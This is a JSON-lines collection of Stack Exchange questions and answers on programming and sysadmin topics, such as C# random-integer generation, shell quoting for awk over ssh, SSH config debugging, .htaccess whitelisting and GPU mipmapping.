{  "id": "_codereview.6304"  , "question": "I'm trying to convert from random bytes to integers within a range. Basically converting as such:byte[] GetRandomBytes(int count) -> int NextInteger(int min, int max)Another way to think about it would be: I have a RNGCryptoServiceProvider but would rather have the interface to Random.My current algorithm works out how many bits it needs based on min and max, gets a random int (after masking off any bits it doesn't need), then loops until it gets a number less than max - min.Question 1: Is my algorithm sound? Question 1a: Is the below implementation sound (c#) (specifically: RandomSourceBase.Next(int, int))?using System;using System.Collections.Generic;using System.Security.Cryptography;namespace ConsoleApplication1{    public abstract class RandomSourceBase    {        public abstract byte[] GetRandomBytes(int numberOfBytes);        public int Next()        {            return Next(0, Int32.MaxValue);        }        public int Next(int maxValue)        {            return Next(0, maxValue);        }        public int Next(int minValue, int maxValue)        {            if (minValue < 0)                throw new ArgumentOutOfRangeException(minValue, minValue, MinValue must be greater than or equal to zero.);            if (maxValue <= minValue)                throw new ArgumentOutOfRangeException(maxValue, maxValue, MaxValue must be greater than minValue.);            int range = maxValue - minValue;            if (range == 1)     // Trivial case.                return minValue;            // Determine how many bits are required for the range requested.            int bitsRequired = (int)Math.Ceiling(Math.Log(range, 2) + 1);            int bitmask = (1 << bitsRequired) - 1;            // Loop until we get a number within the range.            int result = -1;            while (result < 0 || result > range - 1)            {                var bytes = this.GetRandomBytes(4);                result = (Math.Abs(BitConverter.ToInt32(bytes, 0)) & bitmask) - 1;            }            return result + minValue;        }    }    public class CryptoRandomSource : RandomSourceBase    {        private RNGCryptoServiceProvider _RandomProvider;        public CryptoRandomSource()        {            this._RandomProvider = new RNGCryptoServiceProvider();        }        public override byte[] GetRandomBytes(int numberOfBytes)        {            var result = new byte[numberOfBytes];            this._RandomProvider.GetBytes(result);            return result;        }    }    class Program    {        static void Main(string[] args)        {            TestNextInt32(new CryptoRandomSource(), 50);            TestNextInt32(new CryptoRandomSource(), 64);            Console.ReadLine();        }        private static void TestNextInt32(RandomSourceBase randomness, int max)        {            var distributionTable = new Dictionary<int, int>();            for (int i = 0; i < max; i++)                distributionTable.Add(i, 0);            Console.WriteLine(Testing CryptoRandomStream.Next({0})..., max);            int trials = max * 50000;            for (int i = 0; i < trials; i++)            {                var choice = randomness.Next(max);                distributionTable[choice] = distributionTable[choice] + 1;            }            for (int i = 0; i < max; i++)                Console.WriteLine({0}, {1}, i, distributionTable[i]);            Console.WriteLine();        }    }}Question 2: Assuming GetRandomBytes is actually random, will my algorithm / implementation also be random (specifically a uniform distribution?).I've done a few test runs and graphed the distribution in Excel. They look random-ish to me. But, well, I'm no security expert, and the stats course I did was in 2003 and my memory isn't very good! Specifically, I don't know if the variation of up to 800 or ~1.6% (point #3 on the 50 graph) is acceptable or if I've done something horribly wrong.(Note, the Y axis isn't zeroed. 50,000 is the desired number).Context: I'm building a plugin for KeePass and its RNG returns a byte[] but most of my logic is tied up in choosing indexes from a collection, hence my need to convert random bytes to random ints within a range. Actual real life code (for those who are interested):http://readablepassphrase.codeplex.com/SourceControl/changeset/changes/aa085616bc23Relevant code located in: trunk/ReadablePassphrase/Random"  , "title": "Algorithm to convert random bytes to integers"  , "tags": "c#;random"  , "accepted_answer": "Yes, the algorithm as described is sound, although not the most efficient use of the random number source. However, there are a few surprises in the code. Making the default Next() capable of returning 2^31 - 1 distinct values is a bit unexpected, and slightly skews the distribution of the lower bits. It might be worth changing the names, too, in case you want to add more output types later. I would adjust as follows:    public int NextInt32()    {        byte[] bytes = GetRandomBytes(4);        int i = BitConverter.ToInt32(bytes);        return i & Int32.MaxValue;    }    public int NextInt32(int maxExcl)    {        if (maxExcl <= 0) throw new ArgumentOutOfRangeException(maxExcl, maxExcl, maxExcl must be positive);        // Let k = (Int32.MaxValue + 1) % maxExcl        // Then we want to exclude the top k values in order to get a uniform distribution        // You can do the calculations using uints if you prefer to only have one %        int k = ((Int32.MaxValue % maxExcl) + 1) % maxExcl;        while (true)        {            int rnd = NextInt32();            if (rnd <= Int32.MaxValue - k)                return rnd % maxExcl;        }    }    public int NextInt32(int minIncl, int maxExcl)    {        if (minIncl < 0)            throw new ArgumentOutOfRangeException(minIncl, minIncl, minValue must be non-negative);        if (maxExcl <= minIncl)            throw new ArgumentOutOfRangeException(maxExcl, maxExcl, maxExcl must be greater than minIncl);        return minIncl + NextInt32(maxExcl - minIncl);    }"  } 
{  "id": "_webapps.104469"  , "question": "My project data doesn't easily lend itself to filters that will bring the row count under 100,000 for case export.What are my options to get around this issue?Are there ways download case data without going through the export case interface?"  , "title": "What are my options for getting around the 100,000 maximum row limit for case export?"  , "tags": "commcare"  , "accepted_answer": "For now the best way to get around this is to use filters.Date Range - You can use date ranges to select smaller chunks of data. These dates are based on the last time the case was modified (see Does the date filter for a CommCare case export filter forms by last modified date or opened date?)Use reporting groups - You can further break down your case data by only downloading cases for a set of users, groups, or organizations. (For example, if your cases are evenly distributed amongst your users, you can put them in two separate groups which will halve the number of rows downloaded).If all of that still doesn't work for you, and you have technical capacity, you can look into using the commcare-export tool"  } 
{  "id": "_unix.296870"  , "question": "I want to grep tag value of  and if its 01 it must print another tag  and  along with its value  .Sample XML file :<CustName>Unix</CustName><CustomerId>999</CustomerId><dept>developer</dept><account>01</account>Desired output :If value of account is 01 it must print the below  along with total count of occurance of 01 value in account tag:<CustName>Unix</CustName><CustomerId>999</CustomerId><account>01</account>count :1What i have tried :grep -oP '(?<=<<c>account>).*(?=<<c>/account)' cust.xml01grep -C 10 -oP '(?<=<<c>account>).*(?=<<c>/account)' cust.xml-C 10 will print 10 line above and below but it did not work ."  , "title": "how to grep a tag value in xml file and print another two tag values in same xml file"  , "tags": "grep;xml"  } 
{  "id": "_unix.250379"  , "question": "This is my first post on this particular SE site, but I have used the wisdom, shared here, more than once. Using this opportunity, I'd like to thank everyone on this site and Stack Exchange, in general, and wish all a great holiday season and a happy and healthy New Year!Now, on to the question. The situation is as follows. Currently I have a need to be able to access my work desktop PC remotely. Usually, that involves using ssh via my employer's VPN tunnel. However, I today I have discovered that the Ethernet outlet, which my PC is assigned to (due to the enterprise VLAN setup), is malfunctioning and there is no way it could be fixed soon (due to holidays). However, I have some quite urgent work that requires me to use this machine, including remotely. After trying to alleviate the outlet issue to no avail, I have decided that a feasible alternative would be to just use my employer's wireless network, where normally people, myself including, authenticate via LDAP/AD username and password (AFAIK, it is conformant to 802.1x). I was about to buy a USB wireless network adapter, but my colleague kindly lended me one that he doesn't need at the moment. I have enthusiastically attached the adapter to my PC just to find out that my current kernel on Debian doesn't support this adapter (TP-LINK TL-WN725N). It is supported in newer kernels, however, since I have to use this particular kernel (2.6.32-openvz-042stab112.15-amd64) due to some specific software dependencies, the problem has remained. My further step was to determine that the manufacturer provides Linux driver, which has to be compiled for this kernel in order to be installed. Following instructions in TP-LINK's included documentation, I have tried to compile the driver, but the process failed.[SIDE NOTE: The reason it failed likely deserves a separate question and I actually have seen similar questions, but most advice out there implies that a PC has Internet access and, thus, can easily install all dependencies for the build. Since my PC (Debian side) so far cannot be connected to the Net, I tried to download relevant packages to my laptop and install them from there. The main problem was the lack of the build directory under /lib/modules/$(KVER)/build. I installed both kernel headers package and other dependencies, such as relevant version on gcc, etc., but the error still remained. Perhaps, I should have tried these instructions for the adapter's generic driver for this chipset, but I thought that the lack of build directory will fail that attempt, too.]Therefore, now I think that I have three options:Find and buy a USB wireless network adapter, which is old enough to have a driver for in my 2.6.32 kernel (using this handy list).Figure out why, despite installing kernel headers package and other dependencies (perhaps, I missed some, but I can't use apt-get), I cannot build the TP-LINK's driver (and, likely, the generic rtl8188eu).Buy an inexpensive (but good!) portable USB wireless router (such as TP-LINK TL-WR802N) or regular wireless router (such as TP-LINK TL-WR841N), supporting so called client operating mode, so that I could connect my PC to my wireless network at work. This would be the easiest route, especially since I have found this nice page from Ubuntu documentation, which I hope is quite applicable to my Debian 7.9. However, after some review, it is still not clear whether TL-WR802N supports 802.1x or not and, similarly, whether TL-WR841N supports 802.1x or not. It is certainly possible to achieve my goal, using open source firmware, such as OpenWRT, on one of those TP-LINK devices, but it seems to me like an overkill.My apologies for the lengthy post, but I felt that decent answers will require describing the situation with high enough level of detail. Thank you for your attention. Your help will be greatly appreciated."  , "title": "Setting up wireless on a Debian 7.9 (with older kernel) and connecting to it via 802.1x"  , "tags": "debian;wifi;802.1x"  } 
{  "id": "_softwareengineering.219156"  , "question": "My P2P app needs to locate peers, but I don't want to hard-code a DNS address... One example I've seen is bootstrapping via IRC, but I'd like to do this over HTTP/s if possible.What are my options and techniques for bootstrapping a P2P app?"  , "title": "How do I bootstrap a P2P service so that users can locate each other?"  , "tags": "c#;architecture;p2p"  } 
{  "id": "_unix.72427"  , "question": "I am trying to set up vim for writing email.  I have a plugin to provide autocompletion of email addresses (notmuch abook ). If I do :set completefunc it tells me it is CompleteAddressBook as expected.However, when I hit Tab I get what appear to be spelling suggestions from a word dictionary.  I do have spell set, but I'm confused as to how to get past spell to get completefunc used.You can see my vimrc in case there is something weird in there.Ideas for debugging steps welcome."  , "title": "Why is vim offering me spelling suggestions instead of using the completefunc?"  , "tags": "vim;autocomplete"  , "accepted_answer": "It turned out that rather than using Tab I had to use Ctrlx CtrluSee the compl-function docs for more."  } 
{  "id": "_cs.66772"  , "question": "When reasoning with NP-completeness, I find SAT and k-clique more convenient to reason with than generalized games that are NP-complete or the Turing machine model. I'm looking for something similar for EXPTIME-completeness. Wikipedia mentions:Another set of important EXPTIME-complete problems relates to succinct  circuits. Succinct circuits are simple machines used to describe some  graphs in exponentially less space. They accept two vertex numbers as  input and output whether there is an edge between them. For many  natural P-complete graph problems, where the graph is expressed in a  natural representation such as an adjacency matrix, solving the same  problem on a succinct circuit representation is EXPTIME-complete,  because the input is exponentially smaller; but this requires  nontrivial proof, since succinct circuits can only describe a subclass  of graphs.[8]8:  Papadimitriou (1994), section 20.1, page 492.I understand the concept that you can describe some graphs using exponentially less space and use that as input, but I can't find the mentioned resource or find out how succinct graphs work exactly or how to construct an EXPTIME-complete problem."  , "title": "How to use succinct circuits to construct an EXPTIME complete problem?"  , "tags": "complexity theory;graphs;time complexity;complexity classes"  } 
{  "id": "_unix.177593"  , "question": "I am creating a script that will ssh to a host and print all the user accounts and when they will expire.On a host I can run awk -F':' '{ print $1}' /etc/passwd and it will give me a list of all user accounts.I have added this to a script that should go to a server, create this list and use it to print when it will expie.#!/bin/bashfor i in `cat /admin/lists/testlist`do  echo $i  UNAME=`su - admin -c ssh $i uname`  if test $UNAME = Linux  then    LIST=`su - admin -c ssh $i awk -F':' '{ print $1}' /etc/passwd`    for j in $LIST    do      echo $j  ; `su - batch -c ssh $i sudo chage -l $j | grep Account`    done  else    echo Exiting. The OS type is not found.  fi  echo ========================================================================  echo  doneexit 0The issue I am having is when I run the script I get the following error.[admin@testserver bin]$ sudo checkPasswdExpiration.shtestserver02awk: cmd. line:1: {awk: cmd. line:1:  ^ unexpected newline or end of string========================================================================Why does the awk command not work in this script?"  , "title": "awk in ssh in su in a command substitution"  , "tags": "bash;shell script;ssh;awk;quoting"  , "accepted_answer": "The first set of quotes is eaten up by the command line for su, and the second set by the command line for ssh, so that the quoted { print $1} is actually seen as three separate arguments by awk. Escape the quotes (and $, and any other special character you may use):su - admin -c ssh $i awk -F: \\'{ print \\$1}\\' /etc/passwdOr:su - admin -c ssh $i getent passwd | awk -F: '{print $1}'"  } 
{  "id": "_webmaster.34477"  , "question": "I'm going to add a news page to my website which will include short snippets from other copyrighted sources, I'm going to only mention the title and maybe a short descriptions and link them to the source.But I'm not sure how many words I'm allowed to use for each snippet on my website? also consider that it's going to be exact copy/paste."  , "title": "How much is not too much? using snippets from other copyrighted sources"  , "tags": "legal;copyright"  , "accepted_answer": "Getting hit for duplicate content shouldn't be his primary concern. It should be who the copyright holders are.This is a question of fair use and should be answered by lawyers (unfortunately)."  } 
{  "id": "_cstheory.12666"  , "question": "Title pretty much explains the question. E.g. http://en.wikipedia.org/wiki/Selection_algorithm#Linear_general_selection_algorithm_-_Median_of_Medians_algorithmShould there in theory also be an algorithm with guaranteed runtime that is also linear? Not looking for a response to this specific case necessarily, but more generally.Thanks all. "  , "title": "For a given algorithm with expected runtime M, does there exist (in theory) an algorithm with equivalent guaranteed runtime?"  , "tags": "cc.complexity theory"  , "accepted_answer": "No. See Chapter 2 of the book Randomized Algorithms by Motwani and Raghavan. They discuss a tree-evaluation problem for which:any deterministic algorithm takes linear time;there is a Las Vegas randomized algorithm with sublinear expected running time."  } 
{  "id": "_softwareengineering.171671"  , "question": "I recently found a framework named ecto.In this framework, a basic component named plasm, which is the ecto Directed Acyclic Graph.In ecto, plasm can be operated by ecto scheduler. I am wondering what's the advantage of this mechanism, and in what other situations can we exploit the concept of DAG?"  , "title": "When to use DAG (Directed Acyclic Graph) in programming?"  , "tags": "algorithms;data structures;frameworks;graph"  , "accepted_answer": "Nice Question. Code may be represented by a DAG describing theinputs and outputs of each of the arithmetic operations performedwithin the code; this representation allows the compiler to performcommon subexpression elimination efficiently.Most Source Control Management Systems implement the revisions as aDAG.Several Programming languages describe systems of values that arerelated to each other by a directed acyclic graph. When one valuechanges, its successors are recalculated; each value is evaluated asa function of its predecessors in the DAG.DAG are handy in detecting deadlocks as they illustrate thedependencies amongst a set of processes and resources.In many randomized algorithms in computational geometry, thealgorithm maintains a history DAG representing features of somegeometric construction that have been replaced by later finer-scalefeatures; point location queries may be answered, as for the abovetwo data structures, by following paths in this DAG.Once we have the DAG in memory, we can write algorithms tocalculate the maximum execution time of the entire set.While programming spreadsheet systems, the dependency graph thatconnects one cell to another if the first cell stores a formula thatuses the value in the second cell must be a directed acyclic graph.Cycles of dependencies are disallowed because they cause the cellsinvolved in the cycle to not have a well-defined value. Additionally,requiring the dependencies to be acyclic allows a topological orderto be used to schedule the recalculations of cell values when thespreadsheet is changed.Using DAG we can write algorithms to evaluate the computations inthe correct order.EDIT :Ordering of formula cell evaluation when recomputing formula valuesin spreadsheets can be done using DAGsGit uses DAGs for content storage, reference pointers for heads,object model representation, and remote protocol.DAGs is used at Trace scheduling: the first practical approach forglobal scheduling, trace scheduling tries to optimize the controlflow path that is executed most often.Ecto is a processing framework and it uses DAG to model processinggraphs so that the graphs do ordered synchronous execution. Plasm inEcto is the DAG and Scheduler operates on it.DAGs is used at software pipelining, which is a technique used tooptimize loops, in a manner that parallels hardware pipelining.Good Resources :http://www.biomedcentral.com/1471-2288/8/70http://www.ncbi.nlm.nih.gov/pubmed/12453109http://www.ericsink.com/vcbe/html/directed_acyclic_graphs.htmlhttp://xlinux.nist.gov/dads/HTML/directAcycGraph.html"  } 
{  "id": "_unix.94357"  , "question": "What command(s) can one use to find out the current working directory (CWD) of a running process? These would be commands you could use externally from the process."  , "title": "Find out current working directory of a running process?"  , "tags": "shell;command line;process;cwd"  , "accepted_answer": "There are 3 methods that I'm aware of:pwdx$ pwdx <PID>lsof$ lsof -p <PID> | grep cwd/proc$ readlink -e /proc/<PID>/cwdExamplesSay we have this process.$ pgrep nautilus12136Then if we use pwdx:$ pwdx 1213612136: /home/samlOr you can use lsof:$ lsof -p 12136 | grep cwdnautilus 12136 saml  cwd    DIR              253,2    32768  10354689 /home/samlOr you can poke directly into the /proc:$ readlink -e /proc/12136/cwd//home/saml"  } 
{  "id": "_unix.178970"  , "question": "I tried modifying my ~/.ssh/config file to allow automatic fast X forwarding as per this sitehttp://xmodulo.com/how-to-speed-up-x11-forwarding-in-ssh.htmlI then tried logging into a server and running xeyes just to see if things were working. They weren't. It seems to me like nothing is reading the config file.These sites suggest the permissions of home should be 755 or less; .ssh should be 755 or less; config 644 or less. The permissions I am using then are 750 (home), 700 (.ssh) and 644 (config). Still nothing. Any ideas?Edit1: As requested in the comments.ssh -vvv -F ~/.ssh/config ohnoplus@host.edu generates the following outputOpenSSH_6.6.1, OpenSSL 1.0.1f 6 Jan 2014debug1: Reading configuration data /home/ohnoplus/.ssh/configdebug3: ciphers ok: [blowfish-cbc,arcfour]debug2: ssh_connect: needpriv 0debug1: Connecting to HOST [IP] port 22.debug1: Connection established.debug1: identity file /home/ohnoplus/.ssh/id_rsa type -1debug1: identity file /home/ohnoplus/.ssh/id_rsa-cert type -1debug1: identity file /home/ohnoplus/.ssh/id_dsa type -1debug1: identity file /home/ohnoplus/.ssh/id_dsa-cert type -1debug1: identity file /home/ohnoplus/.ssh/id_ecdsa type -1debug1: identity file /home/ohnoplus/.ssh/id_ecdsa-cert type -1debug1: identity file /home/ohnoplus/.ssh/id_ed25519 type -1debug1: identity file /home/ohnoplus/.ssh/id_ed25519-cert type -1debug1: Enabling compatibility mode for protocol 2.0debug1: Local version string SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2debug1: Remote protocol version 2.0, remote software version OpenSSH_5.3debug1: match: OpenSSH_5.3 pat OpenSSH_5* compat 0x0c000000debug2: fd 3 setting O_NONBLOCKdebug3: load_hostkeys: loading entries for host HOST from file /home/ohnoplus/.ssh/known_hostsdebug3: load_hostkeys: found key type RSA in file /home/ohnoplus/.ssh/known_hosts:1debug3: load_hostkeys: loaded 1 keysdebug3: order_hostkeyalgs: prefer hostkeyalgs: ssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsadebug1: SSH2_MSG_KEXINIT sentdebug1: SSH2_MSG_KEXINIT received---kex_parse_kexinit lines removed---debug2: mac_setup: setup hmac-md5debug1: kex: server->client aes128-ctr hmac-md5 nonedebug2: mac_setup: setup hmac-md5debug1: kex: client->server aes128-ctr hmac-md5 nonedebug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<3072<8192) sentdebug1: expecting SSH2_MSG_KEX_DH_GEX_GROUPdebug2: bits set: 1558/3072debug1: SSH2_MSG_KEX_DH_GEX_INIT sentdebug1: expecting SSH2_MSG_KEX_DH_GEX_REPLYdebug1: Server host key: RSA redacteddebug3: load_hostkeys: loading entries for host redactedhost.edu from file /home/ohnoplus/.ssh/known_hostsdebug3: load_hostkeys: found key type RSA in file /home/ohnoplus/.ssh/known_hosts:1debug3: load_hostkeys: loaded 1 keysdebug3: load_hostkeys: loading entries for host redactedip from file /home/ohnoplus/.ssh/known_hostsdebug3: load_hostkeys: found key type RSA in file /home/ohnoplus/.ssh/known_hosts:2debug3: load_hostkeys: loaded 1 keysdebug1: Host 'redactedhost.edu' is known and matches the RSA host key.debug1: Found key in /home/ohnoplus/.ssh/known_hosts:1debug2: bits set: 1531/3072debug1: ssh_rsa_verify: signature correctdebug2: kex_derive_keysdebug2: set_newkeys: mode 1debug1: SSH2_MSG_NEWKEYS sentdebug1: expecting SSH2_MSG_NEWKEYSdebug2: set_newkeys: mode 0debug1: SSH2_MSG_NEWKEYS receiveddebug1: Roaming not allowed by serverdebug1: SSH2_MSG_SERVICE_REQUEST sentdebug2: service_accept: ssh-userauthdebug1: SSH2_MSG_SERVICE_ACCEPT receiveddebug2: key: ohnoplus@winterrain (0x7fab75e63000),debug2: key: /home/ohnoplus/.ssh/id_rsa ((nil)),debug2: key: /home/ohnoplus/.ssh/id_dsa ((nil)),debug2: key: /home/ohnoplus/.ssh/id_ecdsa ((nil)),debug2: key: /home/ohnoplus/.ssh/id_ed25519 ((nil)),debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,passworddebug3: start over, passed a different list publickey,gssapi-keyex,gssapi-with-mic,passworddebug3: preferred publickey,keyboard-interactive,passworddebug3: authmethod_lookup publickeydebug3: remaining preferred: keyboard-interactive,passworddebug3: authmethod_is_enabled publickeydebug1: Next authentication method: publickeydebug1: Offering RSA public key: ohnoplus@host1debug3: send_pubkey_testdebug2: we sent a publickey packet, wait for replydebug1: Server accepts key: pkalg ssh-rsa blen 279debug2: input_userauth_pk_ok: fp 61:79:08:... redacteddebug3: sign_and_send_pubkey: RSA 61:79:08:... redacteddebug1: Authentication succeeded (publickey).Authenticated to redactedhost.edu ([redactedip]:22).debug1: channel 0: new [client-session]debug3: ssh_session2_open: channel_new: 0debug2: channel 0: send opendebug1: Requesting no-more-sessions@openssh.comdebug1: Entering interactive session.debug2: callback startdebug2: fd 3 setting TCP_NODELAYdebug3: packet_set_tos: set IP_TOS 0x10debug2: client_session2_setup: id 0debug2: channel 0: request pty-req confirm 1debug2: channel 0: request shell confirm 1debug2: callback donedebug2: channel 0: open confirm rwindow 0 rmax 32768debug2: channel_input_status_confirm: type 99 id 0debug2: PTY allocation request accepted on channel 0debug2: channel 0: rcvd adjust 2097152debug2: channel_input_status_confirm: type 99 id 0debug2: shell request accepted on channel 0Last login: Wed Jan 14 10:54:32 2015 from redacted"  , "title": "ssh not using ~/.ssh/config, even after I play around with permissions"  , "tags": "ssh;permissions"  } 
{  "id": "_webmaster.81433"  , "question": "By now, I've already read a lot about the myths and realities concerning the sub-domain vs sub-directory chaos. But that is not what my question really is. What I really want to know is that whether the sub-domains provided by free hosting sites hurt the SEO of my site. Take, for example, freehostingnoads.net - a website that provides free hosting but imposes a must-have sub-domain restriction. If I wanted to register a site called mysite, I would rather have to choose mysite.freehostingnoads.com. Now, if I choose this (or any similar site) for hosting my website, will my SEO ranking be impacted?For what I've come to know, it's just the content that matters. But they probably didn't even consider the free hosting sub-domain case."  , "title": "Are Subdomains provided by free website hosting services SEO Friendly?"  , "tags": "seo;subdomain"  } 
{  "id": "_webmaster.71425"  , "question": "So I'm creating a form for users to purchase things from my site, and currently, I have the following fields (all required):EmailCC NumberCVCExpiry MM/YYName on CardBilling Postal CodeBut I'm curious about the viability of that last one. My payment gateway supports validation of those fields when charging a card, and I'd like as much as possible when validating a payment to prevent fraud. However, in doing a bit of validation research, I came across this very helpful map on the postal code Wikipedia page that details where postal codes of what length are used. And in looking at the map, there are some countries that don't use a postal code, which would likely mean validation based on that may not work as a required field.For example, from the looks of the map, Ireland does not seem to have a postal code. Does that mean that postal codes cannot be used to validate credit card transactions there? Clearly if they don't have a postal code, making it a required field seems problematic.But, in doing the transactions, I'm also going to need to do verification for sales taxes that need to be paid, and Zip/postal code seems like the best way to accomplish this.Is Postal Code a valid required field when processing credit cards? And if not how can I support international sales with a decent level of fraud prevention, and still be able to calculate sales tax worldwide?"  , "title": "Are Zip/Postal codes a viable requirement for credit card validation?"  , "tags": "ecommerce;creditcard"  } 
{  "id": "_softwareengineering.338769"  , "question": "A developer built for me a SaaS for document analysis and one of the library used is GPLv3. The developer has shared source code with me as GPL. Now if i want to launch that SaaS for public consumption do I need to share publicly the source code i paid the developer for?there are two usage scenarios.user uploaded the file to our servers. I am assuming for this we don't have to share code as the code is not downloaded to user system.user points the application to local file system and our system processes the content on client machine so the code calling the GPL code is downloaded on the system e.g. its in the browser/javascript. This is the scenario i am not sure about."  , "title": "Do i need to make available source code of my SAAS if it uses GPLv3 library?"  , "tags": "gpl"  } 
{  "id": "_unix.152855"  , "question": "Have a problem with primitive routing.Have a CentOs with 3 NICs (1 external). I want to confgure forwarding between two internal. Config:eth0 - 192.168.1.105 \\ 24eth1 - 10.10.10.1 \\ 25eth2 - 10.10.10.129\\ 25Clients have a gateway 10.10.10.1 and 10.10.10.129 (depending on subnet)Here is  route:sysctl.conf net.ipv4.ip_forward = 1 - enabled.When i'm test ping from clients, clients can ping their gateway, other NIC ip(ex. client with ip 10.10.10.10 pings 10.10.10.1(gw) and 10.10.10.129), but cannot ping any client from neighbour subnet. There is the problem?"  , "title": "Again about routing"  , "tags": "routing;forwarding"  } 
{  "id": "_unix.313916"  , "question": "I'd like to run a find command and process the files it returns, but also echo a count of the files processed as it goes, to give me a sense of its progress.Right now, my command is (as an example):COUNT=0\\; find . -name '*.*' -exec echo $COUNT: \\c \\; -exec echo {} \\;But as a result, I don't get the count to echo (and I can't figure out how to increment it). I'd like it to give me something like:0: ./FileOne.txt1: ./FileTwo.txt...205: ./FileTwoHundredAndFive.txt"  , "title": "Print and update variable inside find"  , "tags": "bash;find;echo"  , "accepted_answer": "The commands executed by find are independent. Each -exec starts a new command. There's no way to transfer the current count from one command to the next, except by storing it somewhere (in a file) which would be very slow.You can make find print something each time it sees a file, and pipe the output to a program that counts the input lines.find  -print -exec 'the stuff you want to do' | nlThis will print counts after a delay due to buffering. See Turn off buffering in pipe on turning off buffering.stdbuf -oL -eL find  -print -exec 'the stuff you want to do' | nl"  } 
{  "id": "_cs.77583"  , "question": "The extensional version of Intuitionistic Type Theory is usually formulated in a way that makes extensional concepts like functional extensionality derivable. In particular, equality reflection, together with $\\xi$- and $\\eta$-rules for $\\Pi$ types are enough to get the standard formulation of $\\textsf{funext}$$\\Pi_{x \\in A}\\textsf{Eq}(B(x), f x, g x) \\implies \\textsf{Eq}(\\Pi_{x \\in A}B(x), f, g)$where $\\textsf{Eq}$ is the identity type with rules of reflection and uniqueness of identity proofs (see page 61 of M. Hofmann, Extensional Constructs in Intensional Type Theory).But what if $\\eta$ is not assumed? In particular, consider a standard intensional Martin-Lf type theory with $\\Pi$ formulated with $\\xi$-rule and elimination as application, and to which we only add an extensional identity type $\\textsf{Eq}$ as described above.What is the power of the resulting theory, in terms of extensional constructs (like functional extensionality) that can be derived in it? It seems to me that neither $\\eta$ nor $\\textsf{funext}$ should be derivable, although we can surely get to a weaker version using equality reflection and $\\xi$:$\\Pi_{x \\in A}\\textsf{Eq}(B(x), f x, g x) \\implies \\textsf{Eq}(\\Pi_{x \\in A}B(x), \\lambda x . f x, \\lambda x . g x)$(so, from $\\eta$ we could get to $\\textsf{funext}$, and obviously vice versa).Here R. Garner shows that the $\\eta$ rule is not derivable if $\\Pi$ types are given with elimination as application. He does that for an intensional theory, but the same argument should be applicable in the presence of $\\textsf{Eq}$ too, I think.Are my suspicions correct? Are there any proofs of this in the literature, and in general any investigations on the kind of extensional constructs that can be derived in such minimal versions of ETT? What do we gain by only adding $\\textsf{Eq}$, in the presence of such a limited $\\Pi$ type (no $\\eta$ equality, and no induction principle)?"  , "title": "Extensional constructs in minimal extensional type theory without eta equality"  , "tags": "type theory;dependent types;equality"  } 
{  "id": "_webapps.8055"  , "question": "I have a website and want to let users pay monthly fees to get the service and in some cased will pay once per transaction.I am asking if there a simple service i can integrate in my website to handle this and allow users to pay using different ways, such as PayPal, visa, ....Note: I don't have a PayPal account and it is not possible to have one here in my country. It will be nice if payments can transfer to my bank account.I am from Egypt"  , "title": "Is there a service where I can use and setup on my website to handle users payments?"  , "tags": "webapp rec"  , "accepted_answer": "Try Plimus - I have heard good things about them.Other good options are Shareit or RegNow."  } 
{  "id": "_webmaster.79916"  , "question": "I am converting my site to be mobile friendly according to Google's check.Is there a tool or extension that will allow me to check my local development site meets the requirements?I've tried this mobile-friendly-checker for Chrome but it's not reporting anything."  , "title": "Check Mobile Friendlyness on local development site"  , "tags": "google;mobile"  } 
{  "id": "_webmaster.95280"  , "question": "I have the following in my .htaccess file to only allow access from a block of IP's and everyone else is being redirected:<IfModule mod_rewrite.c>RewriteEngine OnOptions +FollowSymlinksRewriteCond %{REQUEST_URI} !/custom-page.php$RewriteCond %{REMOTE_ADDR} !^111.\\111\\.111\\.111RewriteCond %{REMOTE_ADDR} !^222\\.222\\.222\\.222RewriteRule $ custom-page.php [R=302,L]</IfModule>For some reason the IP's that are on the whitelist are still getting redirected to the custom-page.php"  , "title": ".htaccess IP whitelist is being ignored"  , "tags": "htaccess;wordpress"  } 
{  "id": "_unix.24128"  , "question": "Is to possible to convert pdf file to epub format without errors? Is there some application in Linux that can do it? I found only Ecub and Calibre which give bad results or fail.A command-line application is sufficient.It's an ordinary pdf (not scanned), so OCR is not needed."  , "title": "Convert pdf file to epub"  , "tags": "pdf;conversion;epub;ebooks"  } 
{  "id": "_softwareengineering.290457"  , "question": "Take this code:requestAnimationFrame(function (timestamp) {  console.log('one', timestamp);});requestAnimationFrame(function (timestamp) {  console.log('two', timestamp);});// logs:// one, 184.6999999834225// two, 184.6999999834225The timestamp is milliseconds since the page loaded. Note these two rAF calls return different IDs which you can cancel individually.Now let's make the first callback do something very expensive:requestAnimationFrame(function (timestamp) {  console.log('one', timestamp);  // block for 1 second  const endAt = Date.now() + 1000;  while (true) {    if (Date.now() >= endAt) break;  }});requestAnimationFrame(function (timestamp) {  console.log('two', timestamp);});// LOGS://   one, 189.32800000533462//   two, 189.32800000533462  (this appears one second later)I'm confused: the second one runs a whole second later, but gets the same timestamp. Why can't it get a new timestamp, one corresponding with whatever the current monitor refresh frame is now at the time it's being called?If rAF decides ahead of time that your callback must be run in the same frame as another callback, regardless of how long that other callback might take, then the 'frame' seems like a meaningless concept that doesn't correspond with a single monitor refresh - so what's the point?I'm sure there's a good reason why it's implemented this way, I just want to understand it."  , "title": "Does requestAnimationFrame() really align with monitor refreshes?"  , "tags": "javascript;animation"  } 
{  "id": "_computergraphics.1441"  , "question": "I have heard that recent GPUs all support non-power-of-2 textures and all features just work. However, I don't understand how mip-mapping would work in such a scenario. Can someone explain?"  , "title": "How does mip-mapping work with non-power-of-2 textures?"  , "tags": "texture"  , "accepted_answer": "The rule is that to compute the next mipmap size, you divide by two and round down to the nearest integer (unless it rounds down to 0, in which case, it's 1 instead). For example, a 57x43 image would have mipmaps like:level 0: 57x43level 1: 28x21level 2: 14x10level 3: 7x5level 4: 3x2level 5: 1x1UV mapping, LOD selection, and filtering work just the same way as for power-of-two texture sizes.Generating good quality mips for a non-power-of-two texture is a little trickier, as you can't simply average a 2x2 box of pixels to downsample in all cases. However, a 2x2 box filter wasn't that great to begin with, so using a better downsampling filter such as Mitchell-Netravali is recommended regardless of the texture size."  } 
